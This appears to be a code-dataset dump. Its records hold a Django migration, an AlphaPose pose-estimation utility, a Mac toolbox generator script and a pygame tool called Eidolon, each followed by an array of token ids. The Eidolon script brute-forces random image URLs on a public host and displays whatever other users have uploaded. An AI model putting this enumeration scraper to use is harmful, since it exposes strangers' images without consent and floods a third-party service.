field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='lab.OperatingSystem'),
),
migrations.RunPython(initial_os_data),
]
| [
1,
529,
9507,
29958,
8205,
29914,
26983,
800,
29914,
29900,
29900,
29900,
29941,
29918,
6921,
29918,
29906,
29900,
29896,
29929,
29896,
29906,
29900,
29906,
29918,
29896,
29945,
29941,
29946,
29889,
2272,
13,
29937,
3251,
630,
491,
15337,
29871,
29906,
29889,
29906,
29889,
29947,
373,
29871,
29906,
29900,
29896,
29929,
29899,
29896,
29906,
29899,
29900,
29906,
29871,
29896,
29945,
29901,
29941,
29946,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
5215,
9557,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
13,
3166,
9775,
29889,
9794,
1053,
6607,
1218,
3924,
13,
13,
13,
1753,
2847,
29918,
359,
29918,
1272,
29898,
932,
29892,
10938,
29918,
15204,
1125,
13,
1678,
848,
353,
518,
13,
4706,
8853,
359,
1115,
376,
2363,
613,
376,
359,
29918,
1853,
1115,
376,
3476,
1111,
29918,
2363,
613,
376,
8489,
29918,
2848,
1115,
376,
8489,
979,
3309,
29871,
29900,
613,
376,
9155,
29918,
2917,
1115,
376,
4294,
2734,
29899,
2917,
10758,
13,
4706,
8853,
359,
1115,
376,
2363,
29916,
29878,
613,
376,
359,
29918,
1853,
1115,
376,
3476,
1111,
29918,
29916,
29878,
613,
376,
8489,
29918,
2848,
1115,
376,
8489,
979,
3309,
29871,
29900,
613,
376,
9155,
29918,
2917,
1115,
376,
4294,
2734,
29899,
2917,
10758,
13,
4706,
8853,
359,
1115,
376,
2363,
17115,
613,
376,
359,
29918,
1853,
1115,
376,
3476,
1111,
29918,
17115,
613,
376,
8489,
29918,
2848,
1115,
376,
8489,
979,
3309,
29871,
29900,
613,
376,
9155,
29918,
2917,
1115,
376,
4294,
2734,
29899,
2917,
10758,
13,
4706,
8853,
359,
1115,
376,
23818,
359,
613,
376,
359,
29918,
1853,
1115,
376,
3476,
1111,
29918,
23818,
359,
613,
376,
8489,
29918,
2848,
1115,
376,
8489,
979,
3309,
29871,
29900,
613,
376,
9155,
29918,
2917,
1115,
376,
4294,
2734,
29899,
2917,
10758,
13,
4706,
8853,
359,
1115,
376,
29872,
359,
613,
376,
359,
29918,
1853,
1115,
376,
279,
2079,
29918,
29872,
359,
613,
376,
8489,
29918,
2848,
1115,
376,
8489,
979,
3309,
29871,
29900,
613,
376,
9155,
29918,
2917,
1115,
376,
4294,
2734,
29899,
2917,
10758,
13,
4706,
8853,
359,
1115,
376,
12864,
359,
613,
376,
359,
29918,
1853,
1115,
376,
13308,
359,
613,
376,
8489,
29918,
2848,
1115,
376,
8489,
979,
3309,
29871,
29900,
613,
376,
9155,
29918,
2917,
1115,
376,
4294,
5285,
10758,
13,
1678,
4514,
13,
13,
1678,
363,
2944,
297,
848,
29901,
13,
4706,
6607,
1218,
3924,
29889,
12650,
29889,
3258,
29898,
13,
9651,
1024,
29922,
667,
1839,
359,
7464,
13,
9651,
7787,
29885,
10349,
29918,
1853,
29922,
667,
1839,
359,
29918,
1853,
7464,
13,
9651,
8638,
29918,
2848,
29918,
9006,
29922,
667,
1839,
8489,
29918,
2848,
7464,
13,
9651,
6699,
29918,
2917,
29918,
9006,
29922,
667,
1839,
9155,
29918,
2917,
2033,
13,
4706,
1723,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
8205,
742,
525,
29900,
29900,
29900,
29906,
29918,
6921,
29918,
29906,
29900,
29896,
29929,
29896,
29896,
29906,
29900,
29918,
29896,
29929,
29945,
29896,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
7094,
1218,
3924,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
29945,
8243,
13,
18884,
6702,
1212,
29885,
10349,
29918,
1853,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
29945,
8243,
13,
18884,
6702,
8489,
979,
29918,
2848,
29918,
9006,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
29945,
8243,
13,
18884,
6702,
9155,
29918,
2917,
29918,
9006,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
29945,
8243,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2499,
357,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
10141,
742,
13,
9651,
1024,
2433,
359,
29918,
1853,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
2433,
8205,
29889,
7094,
1218,
3924,
5477,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
6558,
11980,
29898,
11228,
29918,
359,
29918,
1272,
511,
13,
1678,
4514,
13,
2
] |
Eidolon windowed.py | venaxyt/Eidolon-Windowed | 1 | 113241 | <reponame>venaxyt/Eidolon-Windowed
import threading, requests, gratient, random, pygame, string, io
banner = """
▄███▄ ▄█ ██▄ ████▄ █ ████▄ ▄
█▀ ▀ ██ █ █ █ █ █ █ █ █
██▄▄ ██ █ █ █ █ █ █ █ ██ █
█▄ ▄▀ ▐█ █ █ ▀████ ███▄ ▀████ █ █ █
▀███▀ ▐ ███▀ ▀ █ █ █
v e n a x █ ██
"""
print(gratient.purple(banner))
global FREEIMAGEHOST_image_link_valid
FREEIMAGEHOST_image_link_valid = ""
actual_image_link = ""
link_image = False
def FREEIMAGEHOST():
while True:
image_code = "".join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in range(6))
FREEIMAGEHOST_image_link = f"https://iili.io/{image_code}.png"
FREEIMAGEHOST_image = requests.get(FREEIMAGEHOST_image_link)
if FREEIMAGEHOST_image.status_code == 200:
print(gratient.blue(f" [>] FREEIMAGEHOST : {FREEIMAGEHOST_image_link}"), end = "")
global FREEIMAGEHOST_image_link_valid
FREEIMAGEHOST_image_link_valid = FREEIMAGEHOST_image_link
threading.Thread(target = FREEIMAGEHOST).start(); threading.Thread(target = FREEIMAGEHOST).start(); threading.Thread(target = FREEIMAGEHOST).start()
pygame.init()
screen = pygame.display.set_mode((950, 600))
pygame.display.set_caption("Eidolon")
while True:
screen.fill((0, 0, 0))
if not FREEIMAGEHOST_image_link_valid == "" and not FREEIMAGEHOST_image_link_valid == actual_image_link:
actual_image_link = FREEIMAGEHOST_image_link_valid
try:
link_image = pygame.image.load(io.BytesIO(requests.get(FREEIMAGEHOST_image_link_valid).content))
link_image = pygame.transform.scale(link_image, (950, 600))
except:
pass
if link_image:
screen.blit(link_image, (0, 0))
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit()
pygame.display.update()
| [
1,
529,
276,
1112,
420,
29958,
854,
1165,
3637,
29914,
29923,
333,
324,
265,
29899,
5907,
287,
13,
5215,
3244,
292,
29892,
7274,
29892,
20715,
993,
29892,
4036,
29892,
22028,
29892,
1347,
29892,
12013,
13,
13,
29890,
7310,
353,
9995,
13,
1678,
30625,
30208,
30208,
30208,
30625,
1678,
30625,
30208,
29871,
30208,
30208,
30625,
1678,
30208,
30208,
30208,
30208,
30625,
29871,
30208,
268,
30208,
30208,
30208,
30208,
30625,
268,
30625,
1678,
13,
1678,
30208,
30676,
1678,
30676,
259,
30208,
30208,
29871,
30208,
259,
30208,
259,
30208,
1678,
30208,
29871,
30208,
268,
30208,
1678,
30208,
418,
30208,
259,
13,
1678,
30208,
30208,
30625,
30625,
268,
30208,
30208,
29871,
30208,
1678,
30208,
29871,
30208,
1678,
30208,
29871,
30208,
268,
30208,
1678,
30208,
29871,
30208,
30208,
1678,
30208,
29871,
13,
1678,
30208,
30625,
1678,
30625,
30676,
29871,
229,
153,
147,
30208,
29871,
30208,
259,
30208,
259,
30676,
30208,
30208,
30208,
30208,
29871,
30208,
30208,
30208,
30625,
29871,
30676,
30208,
30208,
30208,
30208,
29871,
30208,
29871,
30208,
259,
30208,
29871,
13,
1678,
30676,
30208,
30208,
30208,
30676,
268,
229,
153,
147,
29871,
30208,
30208,
30208,
30676,
632,
30676,
539,
30208,
259,
30208,
29871,
30208,
29871,
13,
462,
1678,
325,
29871,
321,
29871,
302,
29871,
263,
29871,
921,
268,
30208,
1678,
30208,
30208,
29871,
13,
15945,
29908,
13,
13,
2158,
29898,
629,
271,
993,
29889,
15503,
552,
29898,
29890,
7310,
876,
13,
10945,
383,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29918,
3084,
13,
29943,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29918,
3084,
353,
5124,
13,
19304,
29918,
3027,
29918,
2324,
353,
5124,
13,
2324,
29918,
3027,
353,
7700,
13,
13,
1753,
383,
21661,
2382,
20832,
7295,
13,
1678,
1550,
5852,
29901,
13,
4706,
1967,
29918,
401,
353,
376,
1642,
7122,
29898,
8172,
29889,
16957,
29898,
1807,
29889,
294,
18869,
29918,
21064,
4878,
718,
1347,
29889,
7501,
1169,
718,
1347,
29889,
294,
18869,
29918,
13609,
4878,
29897,
363,
921,
297,
3464,
29898,
29953,
876,
13,
4706,
383,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
353,
285,
29908,
991,
597,
29875,
2638,
29889,
601,
19248,
3027,
29918,
401,
1836,
2732,
29908,
13,
4706,
383,
21661,
2382,
20832,
29918,
3027,
353,
7274,
29889,
657,
29898,
29943,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29897,
13,
4706,
565,
383,
21661,
2382,
20832,
29918,
3027,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
29901,
13,
9651,
1596,
29898,
629,
271,
993,
29889,
9539,
29898,
29888,
29908,
259,
518,
29958,
29962,
383,
21661,
2382,
20832,
584,
426,
29943,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29913,
4968,
1095,
353,
20569,
13,
9651,
5534,
383,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29918,
3084,
13,
9651,
383,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29918,
3084,
353,
383,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
13,
13,
7097,
292,
29889,
4899,
29898,
5182,
353,
383,
21661,
2382,
20832,
467,
2962,
890,
3244,
292,
29889,
4899,
29898,
5182,
353,
383,
21661,
2382,
20832,
467,
2962,
890,
3244,
292,
29889,
4899,
29898,
5182,
353,
383,
21661,
2382,
20832,
467,
2962,
580,
13,
13,
13,
2272,
11802,
29889,
2344,
580,
13,
10525,
353,
22028,
29889,
4990,
29889,
842,
29918,
8513,
3552,
29929,
29945,
29900,
29892,
29871,
29953,
29900,
29900,
876,
13,
2272,
11802,
29889,
4990,
29889,
842,
29918,
6671,
703,
29923,
333,
324,
265,
1159,
13,
13,
8000,
5852,
29901,
13,
1678,
4315,
29889,
5589,
3552,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
876,
13,
1678,
565,
451,
383,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29918,
3084,
1275,
5124,
322,
451,
383,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29918,
3084,
1275,
3935,
29918,
3027,
29918,
2324,
29901,
13,
4706,
3935,
29918,
3027,
29918,
2324,
353,
383,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29918,
3084,
13,
4706,
1018,
29901,
13,
9651,
1544,
29918,
3027,
353,
22028,
29889,
3027,
29889,
1359,
29898,
601,
29889,
11207,
5971,
29898,
24830,
29889,
657,
29898,
29943,
21661,
2382,
20832,
29918,
3027,
29918,
2324,
29918,
3084,
467,
3051,
876,
13,
9651,
1544,
29918,
3027,
353,
22028,
29889,
9067,
29889,
7052,
29898,
2324,
29918,
3027,
29892,
313,
29929,
29945,
29900,
29892,
29871,
29953,
29900,
29900,
876,
13,
4706,
5174,
29901,
13,
9651,
1209,
13,
1678,
565,
1544,
29918,
3027,
29901,
13,
4706,
4315,
29889,
2204,
277,
29898,
2324,
29918,
3027,
29892,
313,
29900,
29892,
29871,
29900,
876,
13,
13,
1678,
363,
1741,
297,
22028,
29889,
3696,
29889,
657,
7295,
13,
4706,
565,
1741,
29889,
1853,
1275,
22028,
29889,
13356,
1806,
29901,
13,
9651,
22028,
29889,
28358,
580,
13,
9651,
23283,
580,
13,
13,
4706,
22028,
29889,
4990,
29889,
5504,
580,
29871,
13,
2
] |
Mac/Modules/ctl/ctledit.py | deadsnakes/python2.3 | 0 | 173001 | # FindControlUnderMouse() returns an existing control, not a new one,
# so create this one by hand.
f = Function(ExistingControlHandle, 'FindControlUnderMouse',
(Point, 'inWhere', InMode),
(WindowRef, 'inWindow', InMode),
(SInt16, 'outPart', OutMode),
)
functions.append(f)
f = Function(ControlHandle, 'as_Control',
(Handle, 'h', InMode))
functions.append(f)
f = Method(Handle, 'as_Resource', (ControlHandle, 'ctl', InMode))
methods.append(f)
f = Method(void, 'GetControlRect', (ControlHandle, 'ctl', InMode), (Rect, 'rect', OutMode))
methods.append(f)
DisposeControl_body = """
if (!PyArg_ParseTuple(_args, ""))
return NULL;
if ( _self->ob_itself ) {
SetControlReference(_self->ob_itself, (long)0); /* Make it forget about us */
DisposeControl(_self->ob_itself);
_self->ob_itself = NULL;
}
Py_INCREF(Py_None);
_res = Py_None;
return _res;
"""
f = ManualGenerator("DisposeControl", DisposeControl_body)
f.docstring = lambda : "() -> None"
methods.append(f)
# All CreateXxxXxxControl() functions return a new object in an output
# parameter; these should however be managed by us (we're creating them
# after all), so set the type to ControlRef.
for f in functions:
if f.name.startswith("Create"):
v = f.argumentList[-1]
if v.type == ExistingControlHandle:
v.type = ControlRef
| [
1,
396,
10987,
4809,
29177,
14346,
580,
3639,
385,
5923,
2761,
29892,
451,
263,
716,
697,
29892,
13,
29937,
577,
1653,
445,
697,
491,
1361,
29889,
13,
29888,
353,
6680,
29898,
1252,
15423,
4809,
13554,
29892,
525,
12542,
4809,
29177,
14346,
742,
13,
1678,
313,
5228,
29892,
525,
262,
11921,
742,
512,
6818,
511,
13,
1678,
313,
5907,
5620,
29892,
525,
262,
5907,
742,
512,
6818,
511,
13,
1678,
313,
29903,
2928,
29896,
29953,
29892,
525,
449,
7439,
742,
4451,
6818,
511,
13,
29897,
13,
12171,
29889,
4397,
29898,
29888,
29897,
13,
13,
29888,
353,
6680,
29898,
4809,
13554,
29892,
525,
294,
29918,
4809,
742,
13,
12,
29898,
13554,
29892,
525,
29882,
742,
512,
6818,
876,
13,
12171,
29889,
4397,
29898,
29888,
29897,
13,
13,
29888,
353,
8108,
29898,
13554,
29892,
525,
294,
29918,
6848,
742,
313,
4809,
13554,
29892,
525,
16948,
742,
512,
6818,
876,
13,
23515,
29889,
4397,
29898,
29888,
29897,
13,
13,
29888,
353,
8108,
29898,
5405,
29892,
525,
2577,
4809,
7364,
742,
313,
4809,
13554,
29892,
525,
16948,
742,
512,
6818,
511,
313,
7364,
29892,
525,
1621,
742,
4451,
6818,
876,
13,
23515,
29889,
4397,
29898,
29888,
29897,
13,
13,
4205,
4220,
4809,
29918,
2587,
353,
9995,
13,
12,
361,
5384,
19737,
8559,
29918,
12914,
23215,
552,
7373,
5085,
29892,
5124,
876,
13,
12,
12,
2457,
4265,
29936,
13,
12,
361,
313,
903,
1311,
976,
711,
29918,
1169,
761,
1723,
426,
13,
12,
12,
2697,
4809,
7422,
7373,
1311,
976,
711,
29918,
1169,
761,
29892,
313,
5426,
29897,
29900,
416,
4949,
8561,
372,
9566,
1048,
502,
3776,
13,
12,
12,
4205,
4220,
4809,
7373,
1311,
976,
711,
29918,
1169,
761,
416,
13,
12,
12,
29918,
1311,
976,
711,
29918,
1169,
761,
353,
4265,
29936,
13,
12,
29913,
13,
12,
19737,
29918,
1177,
22245,
29943,
29898,
19737,
29918,
8516,
416,
13,
12,
29918,
690,
353,
10772,
29918,
8516,
29936,
13,
12,
2457,
903,
690,
29936,
13,
15945,
29908,
13,
13,
29888,
353,
2315,
950,
21575,
703,
4205,
4220,
4809,
613,
3295,
4220,
4809,
29918,
2587,
29897,
13,
29888,
29889,
1514,
1807,
353,
14013,
584,
376,
580,
1599,
6213,
29908,
13,
13,
23515,
29889,
4397,
29898,
29888,
29897,
13,
13,
29937,
2178,
6204,
29990,
4419,
29990,
4419,
4809,
580,
3168,
736,
263,
716,
1203,
297,
385,
1962,
13,
29937,
3443,
29936,
1438,
881,
3138,
367,
8745,
491,
502,
313,
705,
29915,
276,
4969,
963,
13,
29937,
1156,
599,
511,
577,
731,
278,
1134,
304,
11264,
5620,
29889,
13,
1454,
285,
297,
3168,
29901,
13,
12,
361,
285,
29889,
978,
29889,
27382,
2541,
703,
4391,
29908,
1125,
13,
12,
12,
29894,
353,
285,
29889,
23516,
1293,
14352,
29896,
29962,
13,
12,
12,
361,
325,
29889,
1853,
1275,
1222,
15423,
4809,
13554,
29901,
13,
12,
12,
12,
29894,
29889,
1853,
353,
11264,
5620,
13,
2
] |
python/cvi_toolkit/utils/alphapose_util.py | sophgo/tpu_compiler | 3 | 99686 | import cv2
import math
import numpy as np
from utils.pPose_nms import pose_nms
def get_3rd_point(a, b):
"""Return vector c that perpendicular to (a - b)."""
direct = a - b
return b + np.array([-direct[1], direct[0]], dtype=np.float32)
def get_dir(src_point, rot_rad):
"""Rotate the point by `rot_rad` degree."""
sn, cs = np.sin(rot_rad), np.cos(rot_rad)
src_result = [0, 0]
src_result[0] = src_point[0] * cs - src_point[1] * sn
src_result[1] = src_point[0] * sn + src_point[1] * cs
return src_result
def get_affine_transform(center,
scale,
rot,
output_size,
shift=np.array([0, 0], dtype=np.float32),
inv=0):
if not isinstance(scale, np.ndarray) and not isinstance(scale, list):
scale = np.array([scale, scale])
scale_tmp = scale
src_w = scale_tmp[0]
dst_w = output_size[0]
dst_h = output_size[1]
rot_rad = np.pi * rot / 180
src_dir = get_dir([0, src_w * -0.5], rot_rad)
dst_dir = np.array([0, dst_w * -0.5], np.float32)
src = np.zeros((3, 2), dtype=np.float32)
dst = np.zeros((3, 2), dtype=np.float32)
src[0, :] = center + scale_tmp * shift
src[1, :] = center + src_dir + scale_tmp * shift
dst[0, :] = [dst_w * 0.5, dst_h * 0.5]
dst[1, :] = np.array([dst_w * 0.5, dst_h * 0.5]) + dst_dir
src[2:, :] = get_3rd_point(src[0, :], src[1, :])
dst[2:, :] = get_3rd_point(dst[0, :], dst[1, :])
if inv:
trans = cv2.getAffineTransform(np.float32(dst), np.float32(src))
else:
trans = cv2.getAffineTransform(np.float32(src), np.float32(dst))
return trans
def _center_scale_to_box(center, scale):
pixel_std = 1.0
w = scale[0] * pixel_std
h = scale[1] * pixel_std
xmin = center[0] - w * 0.5
ymin = center[1] - h * 0.5
xmax = xmin + w
ymax = ymin + h
bbox = [xmin, ymin, xmax, ymax]
return bbox
def _box_to_center_scale(x, y, w, h, aspect_ratio=1.0, scale_mult=1.25):
"""Convert box coordinates to center and scale.
adapted from https://github.com/Microsoft/human-pose-estimation.pytorch
"""
pixel_std = 1
center = np.zeros((2), dtype=np.float32)
center[0] = x + w * 0.5
center[1] = y + h * 0.5
if w > aspect_ratio * h:
h = w / aspect_ratio
elif w < aspect_ratio * h:
w = h * aspect_ratio
scale = np.array(
[w * 1.0 / pixel_std, h * 1.0 / pixel_std], dtype=np.float32)
if center[0] != -1:
scale = scale * scale_mult
return center, scale
def preprocess(bgr_img, bbox, pose_h=256, pose_w=192):
# x, y, w, h = bbox
x = bbox[0]
y = bbox[1]
w = bbox[2]
h = bbox[3]
_aspect_ratio = float(pose_w) / pose_h # w / h
# TODO - test without roi align, crop directly
center, scale = _box_to_center_scale(
x, y, w, h,_aspect_ratio)
scale = scale * 1.0
trans = get_affine_transform(center, scale, 0, [pose_w, pose_h])
align_img = cv2.warpAffine(bgr_img, trans, (int(pose_w), int(pose_h)), flags=cv2.INTER_LINEAR)
align_bbox = _center_scale_to_box(center, scale)
# TODO - get data from yolo preprocess
rgb_align_img = cv2.cvtColor(align_img, cv2.COLOR_BGR2RGB)
align_img = np.transpose(rgb_align_img, (2, 0, 1)) # C*H*W
align_img = align_img / 255.0
align_img[0, :, :] += -0.406
align_img[1, :, :] += -0.457
align_img[2, :, :] += -0.48
return align_img, align_bbox
# postprocess function
def get_max_pred(heatmaps):
num_joints = heatmaps.shape[0]
width = heatmaps.shape[2]
heatmaps_reshaped = heatmaps.reshape((num_joints, -1))
idx = np.argmax(heatmaps_reshaped, 1)
maxvals = np.max(heatmaps_reshaped, 1)
maxvals = maxvals.reshape((num_joints, 1))
idx = idx.reshape((num_joints, 1))
preds = np.tile(idx, (1, 2)).astype(np.float32)
preds[:, 0] = (preds[:, 0]) % width
preds[:, 1] = np.floor((preds[:, 1]) / width)
pred_mask = np.tile(np.greater(maxvals, 0.0), (1, 2))
pred_mask = pred_mask.astype(np.float32)
preds *= pred_mask
return preds, maxvals
def affine_transform(pt, t):
new_pt = np.array([pt[0], pt[1], 1.]).T
new_pt = np.dot(t, new_pt)
return new_pt[:2]
def transform_preds(coords, center, scale, output_size):
target_coords = np.zeros(coords.shape)
trans = get_affine_transform(center, scale, 0, output_size, inv=1)
target_coords[0:2] = affine_transform(coords[0:2], trans)
return target_coords
def heatmap_to_coord_simple(hms, bbox):
coords, maxvals = get_max_pred(hms)
hm_h = hms.shape[1]
hm_w = hms.shape[2]
# post-processing
for p in range(coords.shape[0]):
hm = hms[p]
px = int(round(float(coords[p][0])))
py = int(round(float(coords[p][1])))
if 1 < px < hm_w - 1 and 1 < py < hm_h - 1:
diff = np.array((hm[py][px + 1] - hm[py][px - 1],
hm[py + 1][px] - hm[py - 1][px]))
coords[p] += np.sign(diff) * .25
preds = np.zeros_like(coords)
# transform bbox to scale
xmin, ymin, xmax, ymax = bbox
w = xmax - xmin
h = ymax - ymin
center = np.array([xmin + w * 0.5, ymin + h * 0.5])
scale = np.array([w, h])
# Transform back
for i in range(coords.shape[0]):
preds[i] = transform_preds(coords[i], center, scale,
[hm_w, hm_h])
return preds, maxvals
def postprocess(pose_preds, align_bbox_list, yolo_preds):
# align_bbox_list: [[x1 y1 x2 y2], [x1 y1 x2 y2], ...]
# yolo_preds: [[[x y w h], score, cls],[[x y w h], score, cls], [[x y w h], score, cls]]
eval_joints = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
pose_coords = []
pose_scores = []
for pred, bbox in zip(pose_preds, align_bbox_list):
pred = np.squeeze(pred, axis=0)
pose_coord, pose_score = heatmap_to_coord_simple(pred[eval_joints], bbox)
pose_coords.append(np.expand_dims(pose_coord, axis=0))
pose_scores.append(np.expand_dims(pose_score, axis=0))
if len(pose_scores) == 0:
return []
preds_img = np.asarray(pose_coords) # [5, 1, 17, 1]
preds_img = np.squeeze(preds_img, axis=1)
preds_scores = np.asarray(pose_scores) # [5, 1, 17, 2]
preds_scores = np.squeeze(preds_scores, axis=1)
return pose_nms(yolo_preds, preds_img, preds_scores)
def draw(bgr_img, pred):
l_pair = [
(0, 1), (0, 2), (1, 3), (2, 4), # Head
(5, 6), (5, 7), (7, 9), (6, 8), (8, 10),
(17, 11), (17, 12), # Body
(11, 13), (12, 14), (13, 15), (14, 16)
]
p_color = [(0, 255, 255), (0, 191, 255), (0, 255, 102), (0, 77, 255), (0, 255, 0), # Nose, LEye, REye, LEar, REar
(77, 255, 255), (77, 255, 204), (77, 204, 255), (191, 255, 77), (77, 191, 255), (191, 255, 77), # LShoulder, RShoulder, LElbow, RElbow, LWrist, RWrist
(204, 77, 255), (77, 255, 204), (191, 77, 255), (77, 255, 191), (127, 77, 255), (77, 255, 127), (0, 255, 255)] # LHip, RHip, LKnee, Rknee, LAnkle, RAnkle, Neck
line_color = [(0, 215, 255), (0, 255, 204), (0, 134, 255), (0, 255, 50),
(77, 255, 222), (77, 196, 255), (77, 135, 255), (191, 255, 77), (77, 255, 77),
(77, 222, 255), (255, 156, 127),
(0, 127, 255), (255, 127, 77), (0, 77, 255), (255, 77, 36)]
img = bgr_img.copy()
height, width = img.shape[:2]
img = cv2.resize(img, (int(width / 2), int(height / 2)))
for human in pred:
part_line = {}
kp_preds = human['keypoints']
kp_scores = human['kp_score']
kp_preds = np.concatenate((kp_preds, np.expand_dims((kp_preds[5, :] + kp_preds[6, :]) / 2, axis=0)), axis=0)
kp_scores = np.concatenate((kp_scores, np.expand_dims((kp_scores[5, :] + kp_scores[6, :]) / 2, axis=0)), axis=0)
# Draw keypoints
for n in range(kp_scores.shape[0]):
if kp_scores[n] <= 0.35:
continue
cor_x, cor_y = int(kp_preds[n, 0]), int(kp_preds[n, 1])
part_line[n] = (int(cor_x / 2), int(cor_y / 2))
bg = img.copy()
cv2.circle(bg, (int(cor_x / 2), int(cor_y / 2)), 2, p_color[n], -1)
# Now create a mask of logo and create its inverse mask also
transparency = max(0, min(1, kp_scores[n]))
img = cv2.addWeighted(bg, transparency, img, 1 - transparency, 0)
# Draw limbs
for i, (start_p, end_p) in enumerate(l_pair):
if start_p in part_line and end_p in part_line:
start_xy = part_line[start_p]
end_xy = part_line[end_p]
bg = img.copy()
X = (start_xy[0], end_xy[0])
Y = (start_xy[1], end_xy[1])
mX = np.mean(X)
mY = np.mean(Y)
length = ((Y[0] - Y[1]) ** 2 + (X[0] - X[1]) ** 2) ** 0.5
angle = math.degrees(math.atan2(Y[0] - Y[1], X[0] - X[1]))
stickwidth = (kp_scores[start_p] + kp_scores[end_p]) + 1
polygon = cv2.ellipse2Poly((int(mX), int(mY)), (int(length / 2), stickwidth), int(angle), 0, 360, 1)
cv2.fillConvexPoly(bg, polygon, line_color[i])
# cv2.line(bg, start_xy, end_xy, line_color[i], (2 * (kp_scores[start_p] + kp_scores[end_p])) + 1)
transparency = max(0, min(1, 0.5 * (kp_scores[start_p] + kp_scores[end_p])))
img = cv2.addWeighted(bg, transparency, img, 1 - transparency, 0)
img = cv2.resize(img, (width, height), interpolation=cv2.INTER_CUBIC)
return img | [
1,
1053,
13850,
29906,
13,
5215,
5844,
13,
5215,
12655,
408,
7442,
13,
3166,
3667,
29879,
29889,
29886,
29925,
852,
29918,
29876,
1516,
1053,
18593,
29918,
29876,
1516,
13,
13,
13,
1753,
679,
29918,
29941,
5499,
29918,
3149,
29898,
29874,
29892,
289,
1125,
13,
1678,
9995,
11609,
4608,
274,
393,
639,
14081,
16311,
304,
313,
29874,
448,
289,
467,
15945,
29908,
13,
1678,
1513,
353,
263,
448,
289,
13,
1678,
736,
289,
718,
7442,
29889,
2378,
4197,
29899,
11851,
29961,
29896,
1402,
1513,
29961,
29900,
20526,
26688,
29922,
9302,
29889,
7411,
29941,
29906,
29897,
13,
13,
1753,
679,
29918,
3972,
29898,
4351,
29918,
3149,
29892,
5731,
29918,
3665,
1125,
13,
1678,
9995,
21281,
403,
278,
1298,
491,
421,
5450,
29918,
3665,
29952,
7426,
1213,
15945,
13,
1678,
5807,
29892,
5939,
353,
7442,
29889,
5223,
29898,
5450,
29918,
3665,
511,
7442,
29889,
3944,
29898,
5450,
29918,
3665,
29897,
13,
13,
1678,
4765,
29918,
2914,
353,
518,
29900,
29892,
29871,
29900,
29962,
13,
1678,
4765,
29918,
2914,
29961,
29900,
29962,
353,
4765,
29918,
3149,
29961,
29900,
29962,
334,
5939,
448,
4765,
29918,
3149,
29961,
29896,
29962,
334,
5807,
13,
1678,
4765,
29918,
2914,
29961,
29896,
29962,
353,
4765,
29918,
3149,
29961,
29900,
29962,
334,
5807,
718,
4765,
29918,
3149,
29961,
29896,
29962,
334,
5939,
13,
13,
1678,
736,
4765,
29918,
2914,
13,
13,
1753,
679,
29918,
3470,
457,
29918,
9067,
29898,
5064,
29892,
13,
462,
308,
6287,
29892,
13,
462,
308,
5731,
29892,
13,
462,
308,
1962,
29918,
2311,
29892,
13,
462,
308,
9500,
29922,
9302,
29889,
2378,
4197,
29900,
29892,
29871,
29900,
1402,
26688,
29922,
9302,
29889,
7411,
29941,
29906,
511,
13,
462,
308,
2437,
29922,
29900,
1125,
13,
1678,
565,
451,
338,
8758,
29898,
7052,
29892,
7442,
29889,
299,
2378,
29897,
322,
451,
338,
8758,
29898,
7052,
29892,
1051,
1125,
13,
4706,
6287,
353,
7442,
29889,
2378,
4197,
7052,
29892,
6287,
2314,
13,
13,
1678,
6287,
29918,
7050,
353,
6287,
13,
1678,
4765,
29918,
29893,
353,
6287,
29918,
7050,
29961,
29900,
29962,
13,
1678,
29743,
29918,
29893,
353,
1962,
29918,
2311,
29961,
29900,
29962,
13,
1678,
29743,
29918,
29882,
353,
1962,
29918,
2311,
29961,
29896,
29962,
13,
13,
1678,
5731,
29918,
3665,
353,
7442,
29889,
1631,
334,
5731,
847,
29871,
29896,
29947,
29900,
13,
1678,
4765,
29918,
3972,
353,
679,
29918,
3972,
4197,
29900,
29892,
4765,
29918,
29893,
334,
448,
29900,
29889,
29945,
1402,
5731,
29918,
3665,
29897,
13,
1678,
29743,
29918,
3972,
353,
7442,
29889,
2378,
4197,
29900,
29892,
29743,
29918,
29893,
334,
448,
29900,
29889,
29945,
1402,
7442,
29889,
7411,
29941,
29906,
29897,
13,
13,
1678,
4765,
353,
7442,
